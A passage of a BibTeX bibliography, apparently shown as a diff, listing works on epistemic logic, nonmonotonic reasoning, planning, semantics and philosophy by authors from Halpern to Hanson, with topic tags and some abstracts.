year = {1992}, + volume = {54}, + number = {3}, + pages = {319--379}, + topic = {complexity-in-AI;epistemic-logic;} + } + +@article{ halpern-zuck:1992a, + author = {Joseph Y. Halpern and L.D. Zuck}, + title = {A Little Knowledge Goes a Long Way: Knowledge-Based + Derivations and Correctness Proofs for a Family of Protocols}, + journal = {Journal of the {ACM}}, + year = {1992}, + volume = {39}, + number = {3}, + pages = {449--478}, + missinginfo = {A's 1st name}, + topic = {protocol-analysis;epistemic-logic;} + } + +@inproceedings{ halpern:1993a, + author = {Joseph Halpern}, + title = {Reasoning about Only Knowing with Many Agents}, + booktitle = {Proceedings of the Eleventh National Conference on + Artificial Intelligence}, + year = {1993}, + editor = {Richard Fikes and Wendy Lehnert}, + pages = {655--661}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {kr;epistemic-logic;nonmonotonic-logic;kr-course;} + } + +@incollection{ halpern:1993b, + author = {Joseph Y. Halpern}, + title = {Reasoning about Knowledge: A Survey Circa 1991}, + booktitle = {Encyclopedia of Computer Science and Technology}, + publisher = {Marcel Dekker}, + year = {1993}, + editor = {A. Kent and J.G. Williams}, + pages = {665--661}, + address = {New York}, + note = {Volume 27 (Supplement 12).}, + missinginfo = {E's 1st name.}, + topic = {reasoning-about-knowledge;} + } + +@inproceedings{ halpern:1993c, + author = {Joseph Y. Halpern}, + title = {A Critical Reexamination of Default Logic, Autoepistemic + Logic, and Only Knowing}, + booktitle = {Proceedings, Third G\"odel Colloquium}, + year = {1993}, + publisher = {Springer Verlag}, + address = {Berlin}, + missinginfo = {editor, pages, specific topic}, + topic = {nonmonotonic-logic;autoepistemic-logic;} + } + +@article{ halpern-tuttle:1993a, + author = {Joseph Y. Halpern and M.R. Tuttle}, + title = {Knowledge, Probability and Adversaries}, + journal = {Journal of the {ACM}}, + year = {1993}, + volume = {40}, + number = {4}, + pages = {917--962}, + missinginfo = {A's 1st name}, + topic = {epistemic-logic;} + } + +@incollection{ halpern-etal:1994a, + author = {Jospeh Y. Halpern and Yoram Moses and Moshe Y. Vardi}, + title = {Algorithmic Knowledge}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fifth Conference ({TARK} 1994)}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Ronald Fagin}, + pages = {255--266}, + address = {San Francisco}, + topic = {knowing-how;epistemic-logic;} + } + +@article{ halpern:1995a, + author = {Joseph Y. Halpern}, + title = {The Effect of Bounding the Number of Primitive + Propositions and the Depth of Nesting on the Complexity of + Modal Logic}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {75}, + number = {2}, + pages = {361--372}, + topic = {modal-logic;complexity-in-AI;} + } + +@inproceedings{ halpern-koller:1995a, + author = {Joseph Halpern and Daphne Koller}, + title = {Representation Dependence in Probabilistic Inference}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1853--1860}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + contentnote = {Explores an interesting property of KR systems; do + you get different answers if you represent in different + but equivalent ways?}, + topic = {knowledge-representation;kr-course;probabilistic-reasoning;} + } + +@article{ halpern-lakemeyer:1995a, + author = {Joseph Y. Halpern and Gerhard Lakemeyer}, + title = {Levesque's Axiomatization of Only Knowing is Incomplete}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {74}, + number = {2}, + pages = {381--387}, + topic = {nonmonotonic-logic;autoepistemic-logic;} + } + +@inproceedings{ halpern:1996a, + author = {Joseph Y. Halpern}, + title = {Defining Relative Likelihood in Partially-Ordered + Structures}, + booktitle = {Proceedings of the Twelfth Conference on Uncertainty + in Artificial Intelligence}, + year = {1996}, + pages = {299--306}, + missinginfo = {Organization, editor, publisher, address.}, + topic = {qualitative-probability;} + } + +@article{ halpern:1996b, + author = {Joseph Y. Halpern}, + title = {Should Knowledge Entail Belief?}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {5}, + pages = {483--494}, + topic = {epistemic-logic;belief;philosophy-of-belief;} + } + +@incollection{ halpern:1996c, + author = {Joseph Y. Halpern}, + title = {On Ambiguities in the Interpretation of Game Trees}, + booktitle = {Theoretical Aspects of Rationality and Knowledge: + Proceedings of the Sixth Conference ({TARK} 1996)}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Yoav Shoham}, + pages = {77--96}, + address = {San Francisco}, + topic = {game-theory;resource-limited-reasoning;game-trees; + reasoning-about-knowledge;absent-minded-driver-problem; + temporal-reasoning;} + } + +@incollection{ halpern-lakemeyer:1996a, + author = {Joseph Y. Halpern and Gerhard Lakemeyer}, + title = {Multi-Agent Only Knowing}, + booktitle = {Theoretical Aspects of Rationality and Knowledge: + Proceedings of the Sixth Conference ({TARK} 1996)}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Yoav Shoham}, + pages = {251--265}, + address = {San Francisco}, + topic = {epistemic-logic;nonmonotonic-logic;multiagent-epistemic-logic;} + } + +@article{ halpern:1997a, + author = {Joseph Y. Halpern}, + title = {A Critical Reexamination of Default Logic, Autoepistemic + Logic, and Only Knowing}, + journal = {Computational Intelligence}, + year = {1997}, + volume = {13}, + number = {1}, + pages = {144--163}, + topic = {default-logic;autoepistemic-logic;epistemic-logic; + nonmonotonic-logic;} + } + +@article{ halpern:1997b, + author = {Joseph Y. Halpern}, + title = {A Theory of Knowledge and Ignorance for Many Agents}, + journal = {Journal of Logic and Computation}, + year = {1997}, + volume = {7}, + number = {1}, + pages = {79--108}, + topic = {autoepistemic-logic;epistemic-logic; + nonmonotonic-logic;} + } + +@inproceedings{ halpern:1998a, + author = {Joseph Y. Halpern}, + title = {Hypothetical Knowledge and Counterfactual Reasoning}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Seventh Conference ({TARK} 1998)}, + year = {1998}, + editor = {Itzhak Gilboa}, + pages = {83--96}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {reasoning-about-knowledge;conditionals; + foundations-of-game-theory;} + } + +@inproceedings{ halpern:1998b, + author = {Joseph Y. Halpern}, + title = {Characterizing the Common Prior Assumption}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Seventh Conference ({TARK} 1998)}, + year = {1998}, + editor = {Itzhak Gilboa}, + pages = {133--146}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {reasoning-about-knowledge;foundations-of-game-theory; + common-prior-assumption;} + } + +@inproceedings{ halpern-moses_y:1998a, + author = {Joseph Y. Halpern and Yoram Moses}, + title = {Using Counterfactuals in Knowledge-Based Programming}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Seventh Conference ({TARK} 1998)}, + year = {1998}, + editor = {Itzhak Gilboa}, + pages = {97--110}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {reasoning-about-knowledge;conditionals; + knowledge-based-programming;} + } + +@article{ halpern:2000a, + author = {Joseph Y. Halpern}, + title = {Review of {\it Probability and Conditionals: Belief + Revision and Rational Decision}, edited by {E}llery {E}ells + and {B}rian {S}kyrms}, + journal = {The Philosophical Review}, + year = {2000}, + volume = {109}, + number = {2}, + pages = {277--281}, + xref = {Review of eells-skyrms:1994a.}, + topic = {probability;conditionals;CCCP;} + } + +@unpublished{ halpern:2000b, + author = {Joseph Y. Halpern}, + title = {Lexicographic Probability, Conditional Probability, + and Nonstandard Probability}, + year = {2000}, + note = {Unpublished manuscript, Department of Computer Science, + Cornell University. Available at + http://www.cs.cornell.edu/home/halpern}, + topic = {primitive-conditional-probability;nonstandard-probability;} + } + +@unpublished{ halpern-pearl:2000b, + author = {Joseph Y. Halpern and Judea Pearl}, + title = {Causes and Explanations: A Structural-Model Approach}, + year = {2000}, + note = {Unpublished manuscript, Department of Computer Science, + Cornell University.}, + topic = {causality;explanation;} + } + +@article{ halpern-etal:2001a, + author = {Joseph Y. Halpern and Robert Harper and Neil Immerman + and Phokion G. Kolaitis and Moshe Vardi and Victor Vianu}, + title = {On the Unusual Effectiveness of Logic in Computer Science}, + journal = {The Bulletin of Symbolic Logic}, + year = {2001}, + volume = {7}, + number = {2}, + pages = {213--236}, + topic = {logic-in-cs;} + } + +@article{ halpin:1988a, + author = {John F. Halpin}, + title = {Indeterminism, Indeterminateness, and Tense Logic}, + journal = {Journal of Philosophical Logic}, + year = {1988}, + volume = {17}, + number = {3}, + pages = {207--219}, + acontentnote = {Abstract: + In this paper, I distinguish the concept of an indeterminate + future from the more general concept of an indeterministic + future. I then consider tense logics appropriate for the + context of an indeterminate future. The bulk of the paper deals + with Richmond Thomason's theory of tense; I argue that this + theory of tense, though it has important motivations, makes + problematic claims about past tense, future tense, and truth + operators of English. For instance, I show that on Thomason's + theory a statement of the form `It will be true that...' can be + true even though the component sentence which fills in ...' Is + true at no time in the future. I also argue that certain + revisions of this theory fail as well. } , + topic = {branching-time;tmix-project;future-contingent-propositions;} + } + +@article{ halvorsen:1978a, + author = {Per-Kristian Halvorsen}, + title = {Syntax and Semantics of Cleft-Constructions}, + journal = {Texas Linguistic Forum}, + year = {1978}, + volume = {11}, + missinginfo = {number, pages}, + topic = {presupposition;pragmatics;cleft-constructions;} + } + +@article{ halvorsen-ladusaw:1979a, + author = {Per-Kristian Halvorsen and William A. Ladusaw}, + title = {Montague's `{U}niversal {G}rammar': An Introduction to the + Linguist}, + journal = {Linguistics and Philosophy}, + year = {1979}, + volume = {3}, + number = {2}, + pages = {185--223}, + topic = {Montague-grammar;} + } + +@article{ halvorsen:1983a, + author = {Per-Kristian Halvorsen}, + title = {Semantics for Lexical-Functional Grammar}, + journal = {Linguistic Inquiry}, + year = {1983}, + volume = {3}, + pages = {567--615}, + topic = {nl-semantics;LFG;} + } + +@inproceedings{ halvorsen:1988a, + author = {Per-Kristian Halvorsen}, + title = {Situation Semantics and Semantic Interpretation in + Constraint-Based Grammars}, + booktitle = {Proceedings of the International Conference on Fifth + Generation Computer Systems}, + year = {1988}, + missinginfo = {Organization, publisher, address, pages}, + topic = {situation-semantics;constraint-based-grammar;} + } + +@inproceedings{ halvorsen-kaplan:1988a, + author = {Per-Kristian Halvorsen and Ronald M. Kaplan}, + title = {Projections and Semantic Description in + Lexical-Functional Grammar}, + booktitle = {Proceedings of the International Conference on Fifth + Generation Computer Systems}, + year = {1988}, + missinginfo = {Organization, publisher, address, pages}, + topic = {nl-semantics;LFG;} + } + +@article{ halvorsen_h-clifton_r:2002a, + author = {Hans Halvorsen and Rob Clifton}, + title = {No Place for Particles in Relativistic Quantum Theories?}, + journal = {Philosophy of Science}, + year = {2002}, + volume = {69}, + number = {1}, + pages = {1--28}, + topic = {foundations-of-quantum-mechanics;quantum-electrodynamics; + philosophy-of-physics;} + } + +@article{ halvorson:2001a, + author = {Hans Halvorson}, + title = {On the Nature of Continuous Physical Quantities in + Classical and Quantum Mechanics}, + journal = {Journal of Philosophical Logic}, + year = {2001}, + volume = {30}, + number = {1}, + pages = {27--50}, + topic = {foundations-of-physics;foundations-of-quantum-mechanics; + continuity;} + } + +@incollection{ hamamoto:1998a, + author = {Hideki Hamamoto}, + title = {Irony from a Cognitive Perspective}, + booktitle = {Relevance Theory: Applications and Implications}, + publisher = {John Benjamins Publishing Co.}, + year = {1998}, + editor = {Robyn Carston and Seiji Uchida}, + pages = {257--270}, + address = {Amsterdam}, + topic = {relevance-theory;irony;} + } + +@book{ hamblin:1970a, + author = {Charles L. Hamblin}, + title = {Fallacies}, + publisher = {Methuen}, + year = {1970}, + address = {London}, + topic = {argumentation;vagueness;} + } + +@article{ hamblin:1971a, + author = {Charles L. Hamblin}, + title = {Mathematical Models of Dialogue}, + journal = {Theoria}, + year = {1971}, + volume = {37}, + pages = {130--155}, + missinginfo = {number}, + topic = {discourse;dialogue-logic;pragmatics;} + } + +@article{ hamblin:1972a, + author = {Charles L. Hamblin}, + title = {Quandaries and the Logic of Rules}, + journal = {Journal of Philosophical Logic}, + year = {1972}, + volume = {1}, + number = {1}, + pages = {74--85}, + topic = {deontic-logic;moral-conflict;} + } + +@article{ hamblin:1973a1, + author = {Charles Hamblim}, + title = {Questions in {M}ontague {E}nglish}, + journal = {Foundations of Language}, + year = {1973}, + volume = {10}, + number = {1}, + pages = {41--53}, + xref = {Republication: hamblin:1973a2}, + topic = {nl-semantics;interrogatives;Montague-grammar;} + } + +@incollection{ hamblin:1973a2, + author = {Charles L. Hamblin}, + title = {Questions in {M}ontague {E}nglish}, + booktitle = {Montague Grammar}, + publisher = {Academic Press}, + year = {1976}, + editor = {Barbara H. Partee}, + address = {New York}, + pages = {247--259}, + xref = {Journal Publication: hamblin:1973a1}, + topic = {nl-semantics;interrogatives;Montague-grammar;} + } + +@book{ hamblin:1987a, + author = {Charles L. Hamblin}, + title = {Imperatives}, + publisher = {Blackwell Publishers}, + year = {1987}, + address = {London}, + topic = {imperatives;deontic-logic;} + } + +@book{ hamburger-richards_d:2002a, + author = {Henry Hamburger and Dana Richards}, + title = {Logic and Language Models for Computer Science}, + publisher = {Prentice Hall}, + year = {2002}, + address = {Upper Saddle River, New Jersey}, + ISBN = {0-13-065487-6}, + topic = {logic-in-CS-intro;} + } + +@unpublished{ hamm-vanlambalgen:2000a, + author = {Fritz Hamm and Michael van Lambalgen}, + title = {Event Calculus, Nominalization, and the Progressive}, + year = {2000}, + note = {Unpublished manuscript, University of T\"ubingen}, + topic = {action-formalisms;tense-aspect;Aktionsarten;} + } + +@article{ hammer-kogan:1993a, + author = {Peter L. Hammer and Alexander Kogan}, + title = {Optimal Compression of Propositional {H}orn Knowledge Bases: + Complexity and Approximation}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {64}, + number = {1}, + pages = {131--145}, + acontentnote = {Abstract: + Horn formulae play a prominent role in artificial intelligence + and logic programming. In this paper we investigate the problem + of optimal compression of propositional Horn production rule + knowledge bases. The standard approach to this problem, + consisting in the removal of redundant rules from a knowledge + base, leads to an ``irredundant'' but not necessarily optimal + knowledge base. We prove here that the number of rules in any + irredundant Horn knowledge base involving n propositional + variables is at most n-1 times the minimum possible number of + rules. Therefore, the quadratic time transformation of an + arbitrary Horn production rule base to an equivalent irredundant + and prime one (presented in [9]) provides a reasonable + approximation algorithm. In order to formalize the optimal + compression problem, we define a Boolean function of a knowledge + base as being the function whose set of true points is the set + of models of the knowledge base. In this way the optimal + compression of production rule knowledge bases becomes a problem + of Boolean function minimization. In this paper we prove that + the minimization of Horn functions (i.e. Boolean functions + associated to Horn knowledge bases) is NP-complete. + } , + topic = {complexity-in-AI;compression-algorithms;Horn-theories;} + } + +@book{ hammer:1995a, + author = {Eric M. Hammer}, + title = {Logic and Visual Information}, + publisher = {CSLI Publications}, + year = {1995}, + address = {Stanford, California}, + xref = {Review: lemmon_o:1997a.}, + topic = {statecharts;reasoning-with-diagrams;diagrams; + visual-reasoning;} + } + +@article{ hammer:1996a, + author = {Eric M. Hammer}, + title = {Symmetry as a Method of Proof}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {5}, + pages = {523--543}, + topic = {visual-reasoning;symmetry;visual-reasoning;} + } + +@article{ hammer-danner:1996a, + author = {Eric M. Hammer and Norman Danner}, + title = {Towards a Model Theory of Diagrams}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {5}, + pages = {463--482}, + topic = {diagrams;visual-reasoning;reasoning-with-diagrams;} + } + +@article{ hammer:1998a, + author = {Eric M. Hammer}, + title = {Semantics for Existential Graphs}, + journal = {Journal of Philosophical Logic}, + year = {1998}, + volume = {27}, + number = {5}, + pages = {489--503}, + topic = {Peirce;existential-graphs;history-of-logic;} + } + +@inproceedings{ hammond:1983a, + author = {Kristen J. Hammond}, + title = {Planning and Goal Interaction: The Use of Past Solutions + in Present Situations}, + booktitle = {Proceedings of the Third National Conference on + Artificial Intelligence}, + year = {1983}, + pages = {148--151}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {planning;plan-reuse;} + } + +@article{ hammond:1990a, + author = {Kristian J. Hammond}, + title = {Explaining and Repairing Plans that Fail}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {45}, + number = {1--2}, + pages = {173--228}, + topic = {planning;plan-reuse;} + } + +@article{ hammond-etal:1995a, + author = {Kristian J. Hammond and Timothy M. Converse and Joshua W. + Grass}, + title = {The Stabilization of Environments}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {72}, + number = {1--2}, + pages = {305--327}, + acontentnote = {Abstract: + In planning and activity research there are two common + approaches to matching agents with environments. Either the + agent is designed with a specific environment in mind, or it is + provided with learning capabilities so that it can adapt to the + environment it is placed in. In this paper we look at a third + and underexploited alternative: designing agents which adapt + their environments to suit themselves. We call this + stabilization, and we present a taxonomy of types of stability + that human beings typically both rely on and enforce. We also + taxonomize the ways in which stabilization behaviors can be cued + and learned. We illustrate these ideas with a program called + FIXPOINT, which improves its performance over time by + stabilizing its environment.}, + topic = {adapting-to-environments;planning;} + } + +@inproceedings{ hamon-etal:1998a, + author = {Thierry Hamon and Adeline Nazarenko and C\'ecile Gros}, + title = {A Step towards the Detection of Semantic Variants of Terms + in Technical Documents}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {498--504}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {computational-semantics;synonymy;corpus-linguistics;} +} + +@incollection{ hamp-feldwig:1997a, + author = {Birgit Hamp and Helmut Feldwig}, + title = {Germa{N}et---A Lexical-Semantic Net for {G}erman}, + booktitle = {Automatic Information Extraction and Building of + Lexical Semantic Resources for {NLP} Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Piek Vossen and Geert Adriaens and Nicoletta Calzolari + and Antonio Sanfilippo and Yorick Wilks}, + pages = {9--15}, + address = {New Brunswick, New Jersey}, + topic = {WordNet;German-language;} + } + +@article{ hampshire:1965a, + author = {Stuart Hampshire}, + title = {J.{L}. {A}ustin and Philosophy}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {19}, + pages = {511--513}, + topic = {JL-Austin;} + } + +@incollection{ hampshire:1969a, + author = {Stuart Hampshire}, + title = {{J.L Austin}, 1911--1960}, + booktitle = {Symposium on J.L. Austin}, + publisher = {Routledge and Kegan Paul}, + year = {1969}, + editor = {K.T. Fann}, + pages = {33--48}, + address = {London}, + contentnote = {Contains comments by J.O Urmson and G.J. Warnock.}, + missinginfo = {E's 1st name.}, + topic = {JL-Austin;ordinary-language-philosophy;} + } + +@book{ hampshire:1971a, + author = {Stuart Hampshire}, + title = {Freedom of the Will and Other Essays}, + publisher = {Princeton University Press}, + year = {1971}, + address = {Princeton, New Jersey}, + topic = {freedom;} + } + +@article{ hamscher:1991a, + author = {Walter C. Hamscher}, + title = {Modeling Digital Circuits for Troubleshooting}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {51}, + number = {1--3}, + pages = {223--271}, + topic = {diagnosis;} + } + +@article{ han_cc-lee:1988a, + author = {Ching-Chih Han and Chia-Hoang Lee}, + title = {Comments on {M}ohr and {H}enderson's Path Consistency + Algorithm}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {36}, + number = {1}, + pages = {125--130}, + acontentnote = {Abstract: + Mohr and Henderson have presented new algorithms for arc and + path consistency in [1]. Though the underlying ideas of their + algorithms are correct, the path consistency algorithm PC-3 is + in error. In this paper we point out the errors in this + algorithm and give a correct one. The time complexity and space + complexity of the revised algorithm are also analyzed.}, + topic = {arc-(in)consistency;complexity-in-AI;} + } + +@article{ han_ys-choi:1996a, + author = {Young S. Han and Key-Sun Choi}, + title = {A Chart Re-Estimation Algorithm for a Probabilistic + Recursive Transition Network}, + journal = {Computational Linguistics}, + year = {1996}, + volume = {22}, + number = {3}, + pages = {421--429}, + topic = {recursive-transition-networks;probabilistic-algorithms; + chart-parsing;parsing-algorithms;} + } + +@article{ hancher:1979a, + author = {Michael Hancher}, + title = {The Classification of Co-Operative Illocutionary Acts}, + journal = {Language in Society}, + year = {1979}, + volume = {8}, + number = {1}, + pages = {1--14}, + topic = {speech-acts;pragmatics;} + } + +@book{ hancock_pa-chignell:1989a, + editor = {P.A. Hancock and M.H. Chignell}, + title = {Intelligent Interfaces: Theory, Research, and Design}, + publisher = {North-Holland Publishing Co.}, + year = {1989}, + address = {Amsterdam}, + ISBN = {0444873139}, + topic = {HCI;} + } + +@article{ hancock_r:1960a, + author = {R. Hancock}, + title = {Presuppositions}, + journal = {The Philosophical Quarterly}, + year = {1960}, + volume = {10}, + pages = {73--78}, + missinginfo = {A's 1st name, number}, + topic = {presupposition;pragmatics;} + } + +@article{ hand:1988a, + author = {Michael Hand}, + title = {The Dependency Constraint: A Global Constraint + on Strategies in Game-Theoretic Semantics}, + journal = {Linguistics and Philosophy}, + year = {1988}, + volume = {11}, + number = {4}, + pages = {395--413}, + topic = {game-theoretic-semantics;nl-semantics;interrogatives;} + } + +@article{ hand:1991a, + author = {Michael Hand}, + title = {On Saying That Again}, + journal = {Linguistics and Philosophy}, + year = {1991}, + volume = {14}, + number = {4}, + pages = {349--365}, + xref = {Commentary on lepore-loewer:1989a.}, + topic = {indirect-discourse;propositional-attitudes;propositions + philosophy-of-language;} + } + +@article{ hand:1993a, + author = {Michael Hand}, + title = {Parataxis and Parentheticals}, + journal = {Linguistics and Philosophy}, + year = {1993}, + volume = {16}, + number = {5}, + pages = {495--507}, + topic = {Davidson;indirect-discourse;parentheticals;} + } + +@article{ handelman:1996a, + author = {Eliot Handelman}, + title = {Review of {\it Interactive Music Systems: Machine + Listening and Composing}, by Robert Rowe}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {79}, + number = {2}, + pages = {349--359}, + xref = {Review of rowe:1993a.}, + topic = {AI-and-music;} + } + +@techreport{ hanks-mcdermott_d:1985a, + author = {Steven Hanks and Drew McDermott}, + title = {Temporal Reasoning and Default Logics}, + institution = {Department of Computer Science, Yale University}, + number = {YALEU/CSD/RR\#430}, + year = {1985}, + address = {New Haven, Connecticut}, + topic = {temporal-reasoning;nonmonotonic-reasoning;} + } + +@inproceedings{ hanks-mcdermott_d:1986a1, + author = {Steven Hanks and Drew McDermott}, + title = {Default Reasoning, Nonmonotonic Logics and the + Frame Problem}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference}, + year = {1986}, + editor = {Tom Kehler and Stan Rosenschein}, + pages = {328--333}, + organization = {American Association for Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + xref = {Republication: hanks-mcdermott_d:1986a2.}, + topic = {temporal-reasoning;nonmonotonic-reasoning;frame-problem;} + } + +@incollection{ hanks-mcdermott_d:1986a2, + author = {Steven Hanks and Drew McDermott}, + title = {Default Reasoning, Nonmonotonic Logics and the Frame + Problem}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {390--395}, + address = {Los Altos, California}, + xref = {Original Publication: hanks-mcdermott_d:1986a1.}, + topic = {temporal-reasoning;nonmonotonic-reasoning;frame-problem;} + } + +@article{ hanks-mcdermott_d:1987a, + author = {Steven Hanks and Drew McDermott}, + title = {Non-Monotonic Logics and Temporal Projection}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {33}, + number = {3}, + pages = {379--412}, + topic = {kr;yale-shooting-problem;kr-course;} + } + +@inproceedings{ hanks:1990a, + author = {Steven Hanks}, + title = {Practical Temporal Projection}, + booktitle = {Proceedings of the Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + editor = {Thomas Dietterich and William Swartout}, + pages = {158--163}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {temporal-reasoning;planning-formalisms;} + } + +@inproceedings{ hanks-weld:1992a, + author = {Steven Hanks and David Weld}, + title = {Systematic Adaptation for Case-Based Planning}, + booktitle = {Proceedings of the First International Conference on + Artificial Intelligence Planning Systems}, + year = {1992}, + pages = {96--105}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {planning;plan-reuse;} + } + +@article{ hanks-mcdermott_d:1994a, + author = {Steven Hanks and Drew McDermott}, + title = {Modeling a Dynamic and Uncertain World {I}: Symbolic and + Probabilistic Reasoning about Change}, + journal = {Artificial Intelligence}, + volume = {66}, + number = {1}, + year = {1994}, + pages = {1--55}, + topic = {kr;temporal-reasoning;kr-course;} + } + +@inproceedings{ hanks-etal:1995a, + author = {Steve Hanks and David Madigan and Jonathan Gavrin}, + title = {Probabilistic Temporal Reasoning with Endogenous Change}, + booktitle = {Proceedings of the Eleventh Conference on + Uncertainty in Artificial Intelligence (UAI-95)}, + year = {1995}, + missinginfo = {editor, publisher, address, pages}, + topic = {temporal-reasoning;probabilistic-reasoning;} + } + +@article{ hanks-weld:1995a, + author = {Steven Hanks and Daniel S. Weld}, + title = {A Domain-Independent Algorithm for Plan Adaptation}, + journal = {Journal of Artificial Intelligence Research}, + year = {1995}, + volume = {2}, + pages = {319--360}, + topic = {plan-reuse;} + } + +@inproceedings{ hanschke:1992a, + author = {Philip Hanschke}, + title = {How to Benefit from Terminological Logics?}, + booktitle = {Working Notes, {AAAI} Fall Symposium on Issues in Description + Logics: Users Meet Developers}, + year = {1992}, + editor = {Robert MacGregor}, + pages = {45--48}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {kr;krcourse;taxonomic-logics;relational-reasoning;} + } + +@incollection{ hanschke:1992b, + author = {Philipp Hanschke}, + title = {Specifying Role Interaction in Concept Languages}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {318--329}, + address = {San Mateo, California}, + topic = {taxonomic-logics;} + } + +@article{ hansen-zilberstein:2001a, + author = {Eric A. Hansen and Shlomo Zilberstein}, + title = {{LAO}: A Heuristic-Search Algorithm that Finds Solutions + with Loops}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {129}, + number = {1--2}, + pages = {35--62}, + topic = {heuristics;search;dynamic-programming;Markov-decision-processes;} + } + +@article{ hansen_ea-zilberstein:2001a, + author = {Eric A. Hansen and Shlomo Zilberstein}, + title = {Monitoring and Control of Anytime Algorithms: + A Dynamic Programming Approach}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {126}, + number = {1--2}, + pages = {139--157}, + topic = {anytime-algorithms;metareasoning;} + } + +@incollection{ hansen_j:1998a, + author = {J. Hansen}, + title = {On Relations Between {A}qvist's Deontic System {G} + and {V}an {E}ck's Deontic Temporal Logic}, + booktitle = {Norms, Logics and Information Systems. New Studies in + Deontic Logic and Computer Science}, + publisher = {IOS Press}, + year = {1998}, + editor = {Henry Prakken and Paul McNamara}, + pages = {129--146}, + address = {Amsterdam}, + topic = {deontic-logic;temporal-logic;} + } + +@book{ hansen_kb:1996a, + author = {Kaj B\"orge Hansen}, + title = {Applied Logic}, + publisher = {Studia Philosophica Upsaliensala}, + year = {1996}, + address = {Uppsala}, + ISBN = {91-554-3845-8}, + xref = {Reviews: restall:1999a, shramko:1999a}, + topic = {philosophical-logic;} + } + +@book{ hanson-hunter:1965a, + editor = {Philip Hanson and Bruce Hunter}, + title = {Return of the A Priori}, + publisher = {University of Calgary Press}, + year = {1965}, + address = {Calgary}, + ISBN = {0919491189}, + topic = {a-priori;} + } + +@article{ hanson_nr:1958a, + author = {Norwood Russell Hanson}, + title = {The Logic of Discovery}, + journal = {The Journal of Philosophy}, + year = {1958}, + volume = {55}, + pages = {1073--1089}, + topic = {scientific-discovery;} + } + +@article{ hanson_nr:1960a, + author = {Norwood Russell Hanson}, + title = {More on `The Logic of Discovery'}, + journal = {The Journal of Philosophy}, + year = {1960}, + volume = {57}, + pages = {182--188}, + topic = {scientific-doscovery;} + } + +@book{ hanson_p-hunter_b:1993a, + editor = {Philip Hanson and Bruce Hunter}, + title = {Return of the A Priori}, + publisher = {University of Calgary Press}, + year = {1993}, + address = {Calgary}, + ISBN = {0919491189}, + topic = {a-priori;} + } + +@book{ hanson_pp:1990a, + editor = {Philip P. Hanson}, + title = {Information, Language, and Cognition}, + publisher = {University of British Columbia Press}, + year = {1990}, + address = {Vancouver}, + contentnote = {TC: + 1. Philip P. Hanson, "Preface", + 2. David J. Israel and John Perry, "What Is Information?" + 3. John W. Heintz, "Comment" + 4. Nicholas Asher, "Verbal Information, Interpretation, and + Attitudes" + 5. Edward P. Stabler, Jr., "Comment" + 6. Robert F. Hadley, "Truth Conditions and Procedural Semantics" + 7. Zenon W. Pylyshyn, "Comment" + 10. Fred Dretske, "Putting Information to Work" + 11. Brian Cantwell Smith, "Comment" + 12. Lee R. Brooks, "Concept Formation and Particularizing Learning" + 13. Paul Thagard, "Comment" + 14. Jerry Fodor, "Information and Representation" + 15. Ali Akhtar Kazmi, "Comment" + 16. Nicholas Asher, Lee R. Brooks, Fred Dretske, Jerry Fodor, + John Perry, Zenon W. Pylyshyn, and Brian Cantwell Smith, + David J. Israel, "Roundtable Discussion" + 17. Scott Soames, "Belief and Mental Representation" + 18. Fred Landman, "Partial Information, Modality, and Intentionality" + 19. Carl J. Pollard and M. Andrew Moshier, "Unifying Partial + Descriptions of Sets" + 20. Kim Sterelny, "Animals and 